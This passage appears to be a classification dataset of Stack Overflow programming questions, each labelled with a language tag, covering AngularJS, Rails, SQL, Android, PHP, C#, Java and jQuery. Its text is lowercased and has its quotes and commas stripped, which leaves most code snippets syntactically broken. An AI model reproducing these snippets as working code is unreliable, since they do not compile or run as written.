http://jsfiddle.net/alalonde/nzum5/light/  rel= nofollow noreferrer >http://jsfiddle.net/alalonde/nzum5/light/</a>.    code:   <pre><code>    var myapp = angular.module( myapp  []);      myapp.directive( uitree   function() {       return {         template:  &lt;ul class= uitree &gt;&lt;ui-tree-node ng-repeat= node in tree &gt;&lt;/ui-tree-node&gt;&lt;/ul&gt;           replace: true          transclude: true          restrict:  e           scope: {           tree:  =ngmodel             attrnodeid:  @             loadfn:  =             expandto:  =             selectedid:  =          }          controller: function($scope  $element  $attrs) {             $scope.loadfnname = $attrs.loadfn;           // this seems like an egregious hack  but it is necessary for recursively-generated           // trees to have access to the loader function           if($scope.$parent.loadfn)             $scope.loadfn = $scope.$parent.loadfn;            // todo expandto shouldn t be two-way  currently we re copying it           if($scope.expandto &amp;&amp; $scope.expandto.length) {             $scope.expansionnodes = angular.copy($scope.expandto);             var arrexpandto = $scope.expansionnodes.split(   );             $scope.nextexpandto = arrexpandto.shift();             $scope.expansionnodes = arrexpandto.join(   );           }         }       };     })     .directive( uitreenode   [ $compile    $timeout   function($compile  $timeout) {       return {          restrict:  e           replace: true          template:  &lt;li&gt;  +             &lt;div class= node  data-node-id= {{ nodeid() }} &gt;  +              &lt;a class= icon  ng-click= togglenode(nodeid())  &gt;&lt;/a&gt;  +              &lt;a ng-hide= selectedid  ng-href= #/assets/{{ nodeid() }} &gt;{{ node.name }}&lt;/a&gt;  +              &lt;span ng-show= selectedid  ng-class= css()  ng-click= setselected(node) &gt;  +                   {{ node.name }}&lt;/span&gt;  +            &lt;/div&gt;  +          &lt;/li&gt;           link: function(scope  elm  attrs) {           scope.nodeid = function(node) {             var localnode = node || scope.node;             return localnode[scope.attrnodeid];                     };           scope.togglenode = function(nodeid) {             var isvisible = elm.children( .uitree:visible ).length &gt; 0;             var childrentree = elm.children( .uitree );             if(isvisible) {               scope.$emit( nodecollapsed   nodeid);             } else if(nodeid) {               scope.$emit( nodeexpanded   nodeid);             }             if(!isvisible &amp;&amp; scope.loadfn &amp;&amp; childrentree.length === 0) {               // load the children asynchronously               var callback = function(arrchildren) {                 scope.node.children = arrchildren;                 scope.appendchildren();                 elm.find( a.icon i ).show();                 elm.find( a.icon img ).remove();                 scope.togglenode(); // show it               };               var promiseornodes = scope.loadfn(nodeid  callback);               if(promiseornodes &amp;&amp; promiseornodes.then) {                 promiseornodes.then(callback);               } else {                   $timeout(function() {                       callback(promiseornodes);                   }  0);               }               elm.find( a.icon i ).hide();               var imgurl =  http://www.efsa.europa.eu/efsa_rep/repository/images/ajax-loader.gif ;               elm.find( a.icon ).append( &lt;img src=   + imgurl +    width= 18  height= 18 &gt; );             } else {               childrentree.toggle(!isvisible);               elm.find( a.icon i ).toggleclass( icon-chevron-right );               elm.find( a.icon i ).toggleclass( icon-chevron-down );             }           };            scope.appendchildren = function() {             // add children by $compiling and doing a new ui-tree directive             // we need the load-fn attribute in there if it has been provided             var childrenhtml =  &lt;ui-tree ng-model= node.children  attr-node-id=   +                  scope.attrnodeid +    ;             if(scope.loadfn) {               childrenhtml +=   load-fn=   + scope.loadfnname +    ;             }             // pass along all the variables             if(scope.expansionnodes) {               childrenhtml +=   expand-to= expansionnodes  ;             }             if(scope.selectedid) {               childrenhtml +=   selected-id= selectedid  ;             }             childrenhtml +=   style= display: none &gt;&lt;/ui-tree&gt; ;             return elm.append($compile(childrenhtml)(scope));           };            scope.css = function() {             return {                nodelabel: true                selected: scope.selectedid &amp;&amp; scope.nodeid() === scope.selectedid             };           };           // emit an event up the scope.  then  from the scope above this tree  a  selectnode            // event is expected to be broadcasted downwards to each node in the tree.           // todo this needs to be re-thought such that the controller doesn t need to manually           // broadcast  selectnode  from outside of the directive scope.           scope.setselected = function(node) {             scope.$emit( nodeselected   node);           };           scope.$on( selectnode   function(event  node) {             scope.selectedid = scope.nodeid(node);           });            if(scope.node.haschildren) {             elm.find( a.icon ).append( &lt;i class= icon-chevron-right &gt;&lt;/i&gt; );           }            if(scope.nextexpandto &amp;&amp; scope.nodeid() == parseint(scope.nextexpandto  10)) {             scope.togglenode(scope.nodeid());           }         }       };     }]);      function myctrl($scope  $timeout) {         $scope.assets = [             { assetid: 1  name:  parent 1   haschildren: true}              { assetid: 2  name:  parent 2   haschildren: false}         ];         $scope.selected = {name:  child 111 };         $scope.hierarchy =  1 11 ;         $scope.loadchildren = function(nodeid) {             return [                 {assetid: parseint(nodeid +  1 )  name:  child   + nodeid +  1   haschildren: true}                   {assetid: parseint(nodeid +  2 )  name:  child   + nodeid +  2 }             ];         }         $scope.$on( nodeselected   function(event  node) {             $scope.selected = node;             $scope.$broadcast( selectnode   node);         });     } </code></pre>   template:   <pre><code>    &lt;div ng-controller= myctrl &gt;       &lt;ui-tree ng-model= assets  load-fn= loadchildren  expand-to= hierarchy  selected-id= 111  attr-node-id= assetid &gt;&lt;/ui-tree&gt;         &lt;div&gt;selected: {{ selected.name }}&lt;/div&gt;      &lt;/div&gt; </code></pre>,angularjs
view criteria in rails controller  if a post has a <code>status</code> column in the database that has either value <code>draft</code> or <code>published</code>  how do i define <code>index</code> in my controller to show only <code>status</code> with <code>published</code>  i know i can achieve this using <code>if-else</code> in my view  but i wonder if there is a better approach in the controller.    thanks.,ruby-on-rails
rails scaffold destroy not working as expected  i was adding uniqueness validation to the model in charge of user registration. the username should be uniqueness. i created a user when testing some days ago  lets call it  example-guy . then i deleted him from the scaffolding user interface and now when trying to register a new user as  example-guy   it returns that the name has already been taken.  so how can i fix this from the db without reverting to its  birth-state  and modify the controller to actually destroy the table entry     or maybe rails is keeping track of what was writed to db  even after destruction     im using omniauth-identity  the user model:   <pre><code>class user &lt; activerecord::base   attr_accessible :name  :provider  :uid  :email   # this is a class method  callable from sessionscontroller   # hence the  user.    def user.create_with_omniauth(auth)     user = user.new()     user.provider = auth[ provider ]     user.uid = auth[ uid ]     user.name = auth[ info ][ name ]     # add email     user.email = auth[ info ][ email ]     user.save     return user   end end </code></pre>   user controller s destroy function:   <pre><code>  # delete /users/1   # delete /users/1.json   def destroy     @user = user.find(params[:id])     @user.destroy      respond_to do |format|       format.html { redirect_to users_url }       format.json { head :no_content }     end   end end </code></pre>   validations are made trought  identity  model inherited from omniauth s active record:   <pre><code>class identity &lt; omniauth::identity::models::activerecord   attr_accessible :email  :name  :password_digest  :password  :password_confirmation   #attr_accessible :email  :name  :password_digest :password  :password confirmation   validates_presence_of :name   validates_uniqueness_of :name   validates_length_of :name  :in =&gt; 6..24   validates_format_of :name  :with =&gt; /^[a-z]+$/   validate :name_blacklist    validates_uniqueness_of :email  :case_sensitive =&gt; false   validates_format_of :email    :with =&gt; /\a([^@\s]+)@(( :[-a-z0-9]+\.)+[a-z]{2 })\z/i    :message =&gt;  doesn t look like a proper email address    #validates_presence_of :password  on: :create   #validates_presence_of :password_confirmation   validates_length_of :password  :in =&gt; 6..24    def name_blacklist     unless self.name.blank  then       case self.name       when  user    photo    photos            application    sessions            identities    home            self.errors.add(:name   prohibited )       end     end   end end </code></pre>   identities controllar manage registration form sent to omniauth and calling new.html.erb:   <pre><code>class identitiescontroller &lt; applicationcontroller   def new     @identity = env[ omniauth.identity ]   end end </code></pre>   thanks in advance.,ruby-on-rails
sql  show a commom field  new to sql and working on a project.  imagine i want to show all the users which properties have been inspected by only one inspector.    i m doing this but it show every user :-   <pre><code>select name  id  address from user natural join inspector natural join inspects </code></pre>   thanks in advance.,sql
ipad while scrolling it immediately goes to link if touched  how would you stop safari on ipad immediately clicking the link when user tries to scroll up and down the page      what s the jquery to stop this,ios
android close second activity and move to first activity  i am in second activity  doing uninstall other app works fine.    but when uninstall finished  i want to kill the second activity and move to previous(first) activity. i don t know how to do it.    please he   <pre><code>btnuninstall.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {             uri packageuri = uri.parse( package:  + packageinfo.packagename);             intent uninstallintent = new intent(intent.action_delete  packageuri);             startactivityforresult(uninstallintent  1);         }     }); </code></pre>,android
how to put array into labels   i am trying to let the user of my application input data (their school lessons) into six text fields. i believe i have successfully put the data into an array and saved it to <code>nsuserdefaults</code>. this is exactly what i have wanted to do so far. <strong>now it is time to put each individual lesson into a label for monday through friday. how can this be done </strong>     here is my current code:   <pre><code>    -(ibaction)monsave:(id)sender       {          nsmutablearray *monlessons;          monlessons = [nsmutablearray arraywithobjects: self.mon1.text  self.mon2.text  self.mon3.text  self.mon4.text  self.mon5.text  self.mon6.text  nil];        [[nsuserdefaults standarduserdefaults]setobject:monlessons forkey:@ mondaylessons ];        [[nsuserdefaults standarduserdefaults]synchronize];       } </code></pre>   that was to save the array. then i did a test using:   <pre><code>       [[self.lesson1 monlessons] objectatindex:0]; </code></pre>   note: the data gets saved on a separate view controller than the one which it gets outputted onto.     i am using xcode 5.    thank you very much for any help you can offer!,objective-c
how to display an image $_file on php  i have a code here that handles the upload of the images.     however for some reason the $file_destination variable is unrecognize outsizde the ifs statements. basically what i want to attain is output the $file_destination variable inside a  tag. however when i use the variable it wont just work outside.   <pre><code>//file uploading codes (need to be inside a function)      global $file_destination;      if(isset($_files[ file ])){         $file = $_files[ file ];         print_r($file);         // file properties         $file_name = $file[ name ];         $file_tmp = $file[ tmp_name ];         $file_size = $file[ size ];         $file_error = $file[ error ];          //file extension          $file_ext = explode( .   $file_name);         $file_ext = strtolower(end($file_ext));          //check which file type allowed         $allowed = array( png    jpg );          if(in_array($file_ext  $allowed)){             if($file_error === 0){                 if($file_size &lt;= 2097152){                     $file_name_new = uniqid(    true).  . .$file_ext;                     $file_destination =  c:/ .$file_name_new;                      if(move_uploaded_file($file_tmp  $file_destination)){                         echo $file_destination;                     }                 }             }         }     }  echo &lt;img src= &lt; php $file_destination  &gt; &gt;  </code></pre>   it wont work since the $file_destination doesnt recognize. any idea,php
unknown column  wp_cons_users.id  in  on clause   i have three table one is for users and other one is for subject and third one contain user_id  subject_id foreign keys.    i get unknow coloumn when i run the following sql.    <pre><code>select wp_cons_users.first_name  wp_cons_subject.subject  wp_cons_skilllist.skill_level from  `wp_cons_subject`  join wp_cons_skilllist on wp_cons_skilllist.user_id = wp_cons_users.id join wp_cons_users on wp_cons_users.id = wp_cons_skilllist.user_id where wp_cons_subject.id =   1  order by  `wp_cons_skilllist`.`skill_level` desc </code></pre>   i can t find the error with this query.    wp_cons_skilllist   <h2>column        link to</h2>   id (primay)<br> user_id  wp_cons_users -> id    subj_id  wp_cons_subject -> id skill_level   <hr>   here i try to get the username  skill level and subject for any given subject id.,mysql
how to download images asynchronously  i m using this method to download an array of images synchronously from the server   <pre><code>bitmap getimagebitmapfromurl(string url) {     bitmap imagebitmap = null;     try     {         using (var webclient = new webclient())         {             var imagebytes = webclient.downloaddata(url);             if (imagebytes != null &amp;&amp; imagebytes.length &gt; 0)             {                 imagebitmap = bitmapfactory.decodebytearray(imagebytes  0  imagebytes.length);             }         }     }     catch     {         //silence is gold.     }     displaypic();     return imagebitmap; } </code></pre>   but i want now to use this method asynchronously. i changed it to look like this   <pre><code>async task&lt;bitmap&gt; getimagebitmapfromurl(string url) {     bitmap imagebitmap = null;     try     {         using (var webclient = new webclient())         {             var imagebytes = await webclient.downloadstringtaskasync(url);             if (imagebytes != null &amp;&amp; imagebytes.length &gt; 0)             {                 //imagebitmap = bitmapfactory.decodebytearray(encoding.ascii.getbytes(imagebytes)  0  imagebytes.length);                 imagebitmap = bitmapfactory.decodebytearray(encoding.bigendianunicode.getbytes(imagebytes)  0  imagebytes.length);             }         }     }     catch     {         //silence is gold.     }     displaypic();     return imagebitmap; } </code></pre>   but the conversion from string to byte array didn t work and i m recieving a <code>null</code> object from the method every time.    what is the problem that causes making the <code>imagebitmap</code> variable become <code>null</code> in the second method  how can i solve that,c#
unsupported major.minor version 51.0  error in netbeans  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/7237536/exception-in-thread-main-java-lang-unsupportedclassversionerror-a-unsupporte >exception in thread &ldquo;main&rdquo; java.lang.unsupportedclassversionerror: a (unsupporte d major.minor version 51.0)</a>    </blockquote>     i am currently working on a class that is part of a lab assignment. i wrote the class and my professor provided the main class. when i run the main.class that she provided in net beans i receive the following errors:   <blockquote>    java.lang.unsupportedclassversionerror: csit1520/lab1f/main : unsupported major.minor version 51.0           at java.lang.classloader.defineclass1(native method)           at java.lang.classloader.defineclasscond(classloader.java:631)           at java.lang.classloader.defineclass(classloader.java:615)           at java.security.secureclassloader.defineclass(secureclassloader.java:141)           at java.net.urlclassloader.defineclass(urlclassloader.java:283)           at java.net.urlclassloader.access$000(urlclassloader.java:58)           at java.net.urlclassloader$1.run(urlclassloader.java:197)           at java.security.accesscontroller.doprivileged(native method)           at java.net.urlclassloader.findclass(urlclassloader.java:190)           at java.lang.classloader.loadclass(classloader.java:306)           at sun.misc.launcher$appclassloader.loadclass(launcher.java:301)           at java.lang.classloader.loadclass(classloader.java:247)           could not find the main class: csit1520.lab1f.main.  program will exit.           exception in thread  main  java result:1 ____________________________________  </blockquote>   i am also attaching my creditcard.class and the main.class. any help is greatly appreciated. i am new to programming and have no idea what i am doing wrong.   <hr>  <pre><code>the main class package csit.lab1f; import java.util.scanner;   /**  *  */  public class main {  public static void main(string a[] ) {     scanner input = new scanner( system.in );     double balance; // user entered      // get first balance from user     system.out.println(  enter account balance(0 to end):  );     balance = input.nextdouble();     while ( balance != 0 )    {         // get a credit card with user entered balance         creditcard c = new creditcard( balance );         // calculate card s new interest  balance  min payment         c.calculatestatement();         // print card s statement         c.printstatement();         // get next balance         system.out.println(  enter account balance (0 to end):  );         balance = input.nextdouble();     } } }  </code></pre>  <hr>   my credit card class   <pre><code>package csit.lab1f;  /**  *  *   */ public class creditcard {    public final static double minimum_payment_percent = 0.1;   public final static double high_interest_border = 1000;   public final static double high_interest = 0.015;   public final static double low_interest = 0.01;   public final static double minimum_payment = 10.0;       int nextaccountnumber = 12340000;    private int accountid;   private double previousbalance;   private double interest;   private double currentbalance = interest + previousbalance;   private double minimumpayment;      public creditcard(){   accountid = nextaccountnumber;   nextaccountnumber++;   previousbalance = 0;   interest = 0;   minimumpayment = 0;   currentbalance = 0;}    public creditcard(double b){   previousbalance = b;   accountid = nextaccountnumber;   nextaccountnumber++;   interest = 0;   minimumpayment = 0;   currentbalance = 0;}    public creditcard(int a  double b){   previousbalance = b;   accountid = a;   nextaccountnumber ++;   interest = 0;   minimumpayment = 0;   currentbalance = 0;}          public void setinterest(double i){   interest = i;}    public double getinterest(){   return interest;}    public void setnextaccountnumber(int a){   nextaccountnumber = a;}    public int getnextaccountnumber(){   return nextaccountnumber;}    public void setaccountid(int acct){   accountid = acct; }    public int getaccountid(){   return accountid;}    public void setpreviousbalance(double p){   previousbalance = p;}    public double getpreviousbalance(){   return previousbalance;}    public void setminimumpayment(double pm){   minimumpayment = pm;}    public double getminimumpayment(){   return minimumpayment;}    public void setcurrentbalance(double cb){   currentbalance = cb; }    public double getcurrentbalance (){   return currentbalance; }      public void calculatestatement(){   if (previousbalance &lt;= 1000){         interest = previousbalance* 0.015;}    else {         interest = 15+(previousbalance - 1000)*0.01;}    currentbalance = previousbalance + interest;    if (currentbalance &lt; 10){         minimumpayment = currentbalance;}    else  {minimumpayment = currentbalance * .10; }    }    public void printstatement(){    string string1 = string.format ( your old account balance  s%4.2f  previousbalance);         string string2 = string.format ( your current interest $%3.2f  interest);   string string3 = string.format ( your new account balance $%3.2f  currentbalance);                     string string4 = string.format ( your minimum payment $%4.2f  minimumpayment);                      system.out.println(string1);    system.out.println(string2);    system.out.println(string3);    system.out.println(string4);   }      } </code></pre>,java
jquery attribute equals selector without element  how does a jquery attribute equals selector work without an element to search through     for example   <pre><code>$( [data-meta=state] ).val() </code></pre>,jquery
breaking changes in jquery 1.3.2 to 1.4.2  i have wasted an entire day trying to fix problems with my pages. after i realized that the pages stopped working when i moved from 1.3.2 to 1.4.2  i changed that line in my template  and my pages continued to work as before.    i have the greatest respect for the jquery team and the library that they have created. i cannot for one moment therefore think that it is possible that the team would release a library that was not backward compatable and not document it somewhere. does anyone know where i can find that list - so that i dont get any nasty surprises in the event that i decide to upgrade sometime in the future .    and for now   ll just put the wasted day down to (an awful) experience.,jquery
how multiple selected spinner item data display on one editbox when i am click on button  when i am selected multiple spinner item that all data item display on one separated edit box. this is one part of code and xml.   <pre><code> public void additemsonspinner(){         sp1=(spinner) findviewbyid(r.id.spinner1);         arrayadapter&lt;charsequence&gt; adapter = arrayadapter.createfromresource( this  r.array.facility_array  android.r.layout.simple_spinner_item);            adapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);            sp1.setadapter(adapter);      }     public void onitemselected(adapterview&lt; &gt; spinner  view arg1  int arg2                      long arg3) {                  // todo auto-generated method stub                 switch(view.getid()){                 //spinner spinner1 spinner2 spinner3;                 case r.id.spinner1:                     toast.maketext(myetms.this  spinner1  toast.length_long).show();                 //break                 case r.id.spinner2:                     toast.maketext(myetms.this  spinner2  toast.length_long).show();                 //break;                 case r.id.spinner3:                     toast.maketext(myetms.this  spinner3  toast.length_long).show();                 break;                 }             //sendsms( 9819861968   +location[index] );                 //sc.setvisibility(view.visible);       }              public void onnothingselected(adapterview&lt; &gt; arg0) {                 // todo auto-generated method stub              }         };         public void onitemselected(adapterview&lt; &gt; sp1 view view int pos long id){             //sc.settext((charsequence) sp1.getselecteditem());     sc.setvisibility(view.visible);          } </code></pre>   <strong>here is the xml file</strong>   <pre><code>   &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;scrollview xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent  &gt;      &lt;linearlayout         android:layout_width= match_parent          android:layout_height= match_parent          android:orientation= vertical  &gt;         &lt;imageview             android:id= @+id/imageview1              android:layout_width= match_parent              android:layout_height= 132dp              android:src= @drawable/myshedule  /&gt;          &lt;tablelayout             android:layout_width= match_parent              android:layout_height= wrap_content  &gt;             &lt;tablerow                 android:id= @+id/tablerow1                  android:layout_width= wrap_content                  android:layout_height= wrap_content  &gt;                 &lt;textview                     android:id= @+id/textview04                      android:layout_width= 25dp                      android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #dcdcdc                      android:gravity= center                      android:padding= 20dip                      android:text= from                      android:textcolor= #000000  /&gt;                  &lt;edittext                     android:id= @+id/edittext                      android:layout_width= 55dp                      android:layout_weight= 1                      android:background= #d3d3d3                      android:gravity= center                      android:padding= 20dip                      android:text= select date                      android:textcolor= #000000  /&gt;                  &lt;imagebutton                     android:id= @+id/imagebutton1                      android:layout_height= 65dp                      android:contentdescription= @string/selectdate                      android:gravity= center                      android:padding= 20dip                      android:src= @drawable/calendar_icon  /&gt;             &lt;/tablerow&gt;             &lt;tablerow                 android:id= @+id/tablerow2                  android:layout_width= wrap_content                  android:layout_height= wrap_content  &gt;                 &lt;textview                     android:layout_width= 35dp                      android:layout_weight= 1                      android:background= #dcdcdc                      android:gravity= center                      android:padding= 20dip                      android:text= emplyee name                      android:textcolor= #000000  &gt;                 &lt;/textview&gt;                  &lt;edittext                     android:id= @+id/screenname                      android:layout_width= 45dp                      android:layout_height= 50dp                      android:layout_marginleft= 20dip                      android:layout_marginright= 20dip                      android:layout_weight= 1  &gt;                 &lt;/edittext&gt;             &lt;/tablerow&gt;             &lt;tablerow                 android:id= @+id/tablerow3                  android:layout_width= wrap_content                  android:layout_height= wrap_content  &gt;                 &lt;textview                     android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #b0b0b0                      android:gravity= center                      android:padding= 18dip                      android:text= facility type                      android:textcolor= #000000  /&gt;                  &lt;spinner                     android:id= @+id/spinner1                      android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #a09f9f                      android:entries= @array/facility_array                      android:gravity= center                      android:padding= 18dip                      android:prompt= @string/facility_prompt                      android:textcolor= #000000  /&gt;             &lt;/tablerow&gt;             &lt;tablerow                 android:id= @+id/tablerow4                  android:layout_width= wrap_content                  android:layout_height= wrap_content  &gt;                 &lt;textview                     android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #b0b0b0                      android:gravity= center                      android:padding= 18dip                      android:text= trip type                      android:textcolor= #000000  /&gt;                  &lt;spinner                     android:id= @+id/spinner2                      android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #a09f9f                      android:entries= @array/trip_array                      android:gravity= center                      android:padding= 18dip                      android:prompt= @string/trip_prompt                      android:textcolor= #000000  /&gt;             &lt;/tablerow&gt;             &lt;tablerow                 android:id= @+id/tablerow5                  android:layout_width= wrap_content                  android:layout_height= wrap_content  &gt;                 &lt;textview                     android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #b0b0b0                      android:gravity= center                      android:padding= 18dip                      android:text= shift type                      android:textcolor= #000000  /&gt;                  &lt;spinner                     android:id= @+id/spinner3                      android:layout_height= 65dp                      android:layout_weight= 1                      android:background= #a09f9f                      android:entries= @array/shift_array                      android:gravity= center                      android:padding= 18dip                      android:prompt= @string/shift_prompt                      android:textcolor= #000000  /&gt;             &lt;/tablerow&gt;             &lt;tablerow                 android:id= @+id/tablerow5                  android:layout_width= wrap_content                  android:layout_height= wrap_content  &gt;                 &lt;button                     android:id= @+id/btnsubmit                      android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:text= submit  /&gt;                 &lt;button                     android:id= @+id/btnsubmit1                      android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:text= home  /&gt;             &lt;/tablerow&gt;         &lt;/tablelayout&gt;          &lt;edittext             android:id= @+id/searchbox              android:layout_width= fill_parent              android:layout_height= 100dp              android:inputtype= textvisiblepassword              android:paddingleft= 10dp  &gt;         &lt;/edittext&gt;     &lt;/linearlayout&gt;  &lt;/scrollview&gt; </code></pre>,android
what s the best way for an angular controller to alter an ancestor html element   i have an angular controller which lives in a portion of the page however that application needs to get access to an html element that lives above it.     the best way to imagine the problem is that you have an embedded video which wants to request to be made full view-port:   <pre><code>&lt;html ng-app= videoapp &gt;    &lt;body&gt;      &lt;div&gt;       other stuff that doesn t relate to the video player...     &lt;/div&gt;      &lt;div ng-controller= videoctrl &gt;       ... stuff relating to the video controller     &lt;/div&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   the exact problem is that the <code>videoctrl</code> needs to be able to add a class to the body class such that it can switch the page layout to being full-page and dominated by the video.    <em>desired outcome  status of video app adds a  full-page  class to body tag:</em>   <pre><code>&lt;body ng-class= video.fullpage    full-page   :    &gt; </code></pre>  <h2>what s would be the correct way for the video to add a class to an ancestor tag </h2>   under normal circumstances where the element we want to manipulate lies inside the controller that s doing the manipulation we can bind elements to variables in the scope:   <pre><code>&lt;body&gt; &lt;!-- the videoctrl scope is not available to &lt;body&gt; --&gt;   &lt;div ng-controller= videoctrl &gt;     &lt;div ng-class= video.fullpage    fullpage  :    &gt;&lt;/div&gt;   &lt;/div&gt; &lt;/body&gt; </code></pre>   however the body tag is not contained within the scope of the video controller and so has no access to the variables in its scope so we can t bind to them.    we could always reach out directly and change the class on the body using dom manipulation but that s not very <em>angular</em>. what is the correct pattern for the video controller to alter the class of the body tag,angularjs
angularjs: single value variable in controller or service  i am working with a sharepoint 2013 app and found out that sp365 doesn t support  joins.  i have a large number of  feeder lists  and their corresponding id saved in the main tables.    in a view i need to be able to call something like {{getval(list  field  id)}} so that i can pass in let s say the id of a division {{getval( division    title   currentproject.division)}} and it will return the value of  sales.     my question: should the function getval be in the controllers controlling the form or in a service.    right now  all of my service function are returning promises not single values.,angularjs
mysql indexes  what for  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1517303/how-to-use-mysql-index-columns >how to use mysql index columns </a>    </blockquote>     the question says it all  what are they for  could someone please give an example,mysql
when to use asp.net validation controls and when not to use   i am a beginner in asp.net programming  and my question is regarding built in validation controls provided by asp.net.    can any one brief me the pros and cons of using asp.net validation controls   does in cause any performance penalty when it is used in production application,asp.net
how do you make this style without table   layout would look like this:   <pre><code>abc     1 2  bcd     1 2 3 4 eaasd   5 6 </code></pre>   i heard that it s not good to make layout with table  so what would you do in this case,css
creating new array method  what i m trying to achieve is:   <pre><code>[1 2 3].power(2) === [1 4 9]; </code></pre>   so far i did:   <pre><code>array.prototype.power = function(value) {     for (var i = 1; i &lt; this.length; i++) {         this[i] = math.pow(this[i]  value);     } } </code></pre>   but for some reason it return <code>false</code> and the array looks like:   <pre><code>[1  4  9  power: function...] </code></pre>   what i m doing wrong here,javascript
ask user for information and return that information  i am trying to ask the user to enter their name and then return;  hello and their name . i know its something simple that i am missing  but i just dont know what it is.    <pre><code>int main(int argc  const char * argv[]) {     @autoreleasepool {          nsstring * name = @  ;          nslog(@ what is your name  );         scanf( %@   &amp;name);          nslog(@ hello %@  name);      } } </code></pre>,objective-c
visualizing call tree for a request .net  i ve got a web application which works in a similar way to .net mvc. it has a custom httpmodule which captures requests and then sends them off to my application which does it s own thing and writes to the response.    what i d like to be able to do is track the route a request takes through my code and visualize it in some kind of hierarchy. for example    <pre><code>-- requestbroker.processrequest ---- someclass.method ---- anotherclass.method ------ thirdclass.utility ------ thirdclass.utility ------ thirdclass.utility ---- someclass.method2 ---- someclass.method3 </code></pre>   etc. etc.    are there any tools out there that could help me with this  i m not so much looking to profile the slowest methods but more to find out the route a request takes to determine any thing strange going on.,.net
c++ search function  this question refers to c++.    say i have 10 million records of data  each piece of data is a 6 digit number  which i will have numbers being inputted that need to be matched to this data.    it boils down to two questions:   <ol> <li>what would be the best way to store this data  an array   </li> <li>what would be the best way to search or match this data </li> </ol>   i m looking for performance more than anything else  memory usage is not a problem. i was looking into hash functions but i m not sure if that s what i should even be looking for.,c++
merging two queries to one. both have group by on the same field  i have the following tables    <pre><code>table a {sid  ip)  table b (sid  pid)  table c (sid  pid) </code></pre>   i have the following two querys.   <pre><code>select ip  count (ip) as hits from a group by ip    ip      hits 1       100 2       400 3       250  select ip  count(ip) as clicks from table a join table b on a.sid = b.sid   ip      clicks 1       10 2       40 3       25   select ip  count(ip) as bought from a join b on a.sid = b.sid join c on c.sid = b.sid  ip      bought 1       1 2       4 3       2 </code></pre>   how can i write a query that genartes the following result in one shot.   <pre><code>ip      hits    clicks  bought 1       100     10      1 2       400     40      4 3       250     25      2 </code></pre>,sql
c# every time button is clicked use a different text box or an alternative  what i m trying to achieve is every time you click a button it gets a value from the web browser and put it into a text box. i know how to do this for 2 presses but i want to be able to do up to 20.    using the if statements this is what i have:   <pre><code>if (string.isnullorempty(token1.text)) {     token1.text = captchaweb.document.getelementbyid( gcaptcha ).getattribute( value ); } else {     token2.text = captchaweb.document.getelementbyid( gcaptcha ).getattribute( value ); } </code></pre>   now i want to make it so when both text box 1 and 2 have text use text box 3 and so on or just make it so the first time the button is pressed use text box 1 then next time use text box 2.    all tokens are unique so the current text boxes can t be overwritten. the 20 different codes have to be stored in separate text boxes.,c#
ordering datetime asc/desc  i have a table of dates   <pre><code>&lt;table&gt;     &lt;tr&gt;       &lt;th&gt;date&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;01/03/2018 02:31 am&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;01/13/2018 03:00 am&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;        &lt;td&gt;09/02/2017 02:31 am&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;        &lt;td&gt;11/29/2017 09:30 pm&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;03/01/2018 03:00 am&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   that i want to order chronologically. i found another thread that recommended using:   <pre><code>$( th ).click(function(){     var table = $(this).parents( table ).eq(0)     var rows = table.find( tr:gt(0) ).toarray().sort(comparer($(this).index()))     this.asc = !this.asc     if (!this.asc){rows = rows.reverse()}     for (var i = 0; i &lt; rows.length; i++){table.append(rows[i])} }) function comparer(index) {     return function(a  b) {         var vala = getcellvalue(a  index)  valb = getcellvalue(b  index)         return $.isnumeric(vala) &amp;&amp; $.isnumeric(valb)   vala - valb : vala.localecompare(valb)     } } function getcellvalue(row  index){ return $(row).children( td ).eq(index).html() } </code></pre>   but output doesn t order newest to oldest correctly.    i get this:   <pre><code>date 01/03/2018 02:31 am 01/13/2018 03:00 am 03/01/2018 03:00 am 09/02/2017 02:31 am 11/29/2017 09:30 pm </code></pre>   when it should start with the newest date first. and advice on how i can get these sorted correctly,jquery
how to use xmlhttprequest in a command   i have a discord bot  in which i am trying to add a command to get the top 10 players from a website  and to then have the bot say the top ten players as a message reply. i already have just a query on the site with a just a clean string in one page containing all the info i need: <code>1. guangyuan \n2. igutin \n3. calvinoclein</code> etc. all i want to do is just print that string directly into my bot  but all the examples for xmlhttprequest are with html and there are browser checks and all that. this is my (very incomplete) code atm :   <pre><code>if (command ===  top10 ) {  function topplayers() {  var top10;    }; msg.channel.sendmessage(top10); } </code></pre>,javascript
can we have same id s for 2 elements  <pre><code>&lt;label id= lbl &gt;abc&lt;/label&gt;  &lt;label id= lbl  class= disabled &gt;bdb&lt;/label&gt; </code></pre>   even though it shouldn t have 2 or more same id elements but just wanna ask what if one of them is disabled will it affect the performance when i call for #lbl,html
